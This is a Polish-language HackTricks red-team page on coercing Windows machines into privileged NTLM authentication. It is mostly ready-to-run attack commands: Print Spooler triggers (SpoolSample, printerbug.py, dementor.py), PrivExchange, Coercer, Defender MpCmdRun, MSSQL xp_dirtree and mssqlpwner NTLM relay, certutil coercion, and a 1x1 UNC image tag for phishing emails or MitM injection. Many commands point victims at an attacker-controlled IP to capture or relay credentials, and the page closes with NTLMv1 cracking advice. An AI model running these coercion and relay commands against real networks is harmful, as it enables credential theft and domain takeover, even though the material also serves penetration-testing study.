8.1 KiB
Wymuszenie uprzywilejowanej autoryzacji NTLM
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
SharpSystemTriggers
SharpSystemTriggers to zbiór wyzwalaczy zdalnej autoryzacji napisanych w C# przy użyciu kompilatora MIDL, aby uniknąć zależności od stron trzecich.
Nadużycie usługi Spooler
Jeśli usługa Print Spooler jest włączona, możesz użyć już znanych poświadczeń AD, aby zażądać od serwera drukarek kontrolera domeny aktualizacji dotyczącej nowych zadań drukowania i po prostu powiedzieć mu, aby wysłał powiadomienie do jakiegoś systemu.
Zauważ, że gdy drukarka wysyła powiadomienie do dowolnych systemów, musi uwierzytelnić się w tym systemie. Dlatego atakujący może sprawić, że usługa Print Spooler uwierzytelni się w dowolnym systemie, a usługa użyje konta komputera w tej autoryzacji.
Znajdowanie serwerów Windows w domenie
Używając PowerShell, uzyskaj listę komputerów z systemem Windows. Serwery są zazwyczaj priorytetowe, więc skupmy się na nich:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Finding Spooler services listening
Używając nieco zmodyfikowanego @mysmartlogin (Vincent Le Toux) SpoolerScanner, sprawdź, czy usługa Spooler nasłuchuje:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Możesz również użyć rpcdump.py na Linuxie i szukać protokołu MS-RPRN.
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
Poproś usługę o uwierzytelnienie przeciwko dowolnemu hoście
Możesz skompilować SpoolSample stąd.
SpoolSample.exe <TARGET> <RESPONDERIP>
lub użyj 3xocyte's dementor.py lub printerbug.py, jeśli jesteś na Linuxie
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Łączenie z Nieograniczoną Delegacją
Jeśli atakujący już skompromitował komputer z Nieograniczoną Delegacją, atakujący mógłby sprawić, że drukarka uwierzytelni się w tym komputerze. Z powodu nieograniczonej delegacji, TGT konta komputera drukarki będzie zapisane w pamięci komputera z nieograniczoną delegacją. Ponieważ atakujący już skompromitował ten host, będzie w stanie pobrać ten bilet i go wykorzystać (Pass the Ticket).
Wymuszenie uwierzytelnienia RCP
{% embed url="https://github.com/p0dalirius/Coercer" %}
PrivExchange
Atak PrivExchange
jest wynikiem luki znalezionej w funkcji PushSubscription
serwera Exchange. Ta funkcja pozwala serwerowi Exchange na wymuszenie przez dowolnego użytkownika domeny z skrzynką pocztową uwierzytelnienia do dowolnego hosta dostarczonego przez klienta za pośrednictwem HTTP.
Domyślnie usługa Exchange działa jako SYSTEM i ma nadmierne uprawnienia (konkretnie, ma uprawnienia WriteDacl na domenie przed 2019 rokiem Cumulative Update). Ta luka może być wykorzystana do umożliwienia przekazywania informacji do LDAP i następnie wyodrębnienia bazy danych NTDS domeny. W przypadkach, gdy przekazywanie do LDAP nie jest możliwe, ta luka może być nadal używana do przekazywania i uwierzytelniania do innych hostów w obrębie domeny. Udane wykorzystanie tego ataku zapewnia natychmiastowy dostęp do administratora domeny z dowolnym uwierzytelnionym kontem użytkownika domeny.
Wewnątrz Windows
Jeśli już jesteś wewnątrz maszyny Windows, możesz wymusić Windows na połączenie z serwerem przy użyciu uprzywilejowanych kont za pomocą:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Lub użyj tej innej techniki: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
Certutil
Możliwe jest użycie certutil.exe lolbin (podpisany przez Microsoft) do wymuszenia uwierzytelniania NTLM:
certutil.exe -syncwithWU \\127.0.0.1\share
HTML injection
Via email
Jeśli znasz adres e-mail użytkownika, który loguje się na maszynie, którą chcesz skompromitować, możesz po prostu wysłać mu e-mail z obrazem 1x1 takim jak
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
i gdy to otworzy, spróbuje się uwierzytelnić.
MitM
Jeśli możesz przeprowadzić atak MitM na komputer i wstrzyknąć HTML na stronie, którą będzie wizualizował, możesz spróbować wstrzyknąć obrazek taki jak poniżej na stronie:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
Cracking NTLMv1
Jeśli możesz przechwycić wyzwania NTLMv1, przeczytaj tutaj, jak je złamać.
Pamiętaj, że aby złamać NTLMv1, musisz ustawić wyzwanie Respondera na "1122334455667788"
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.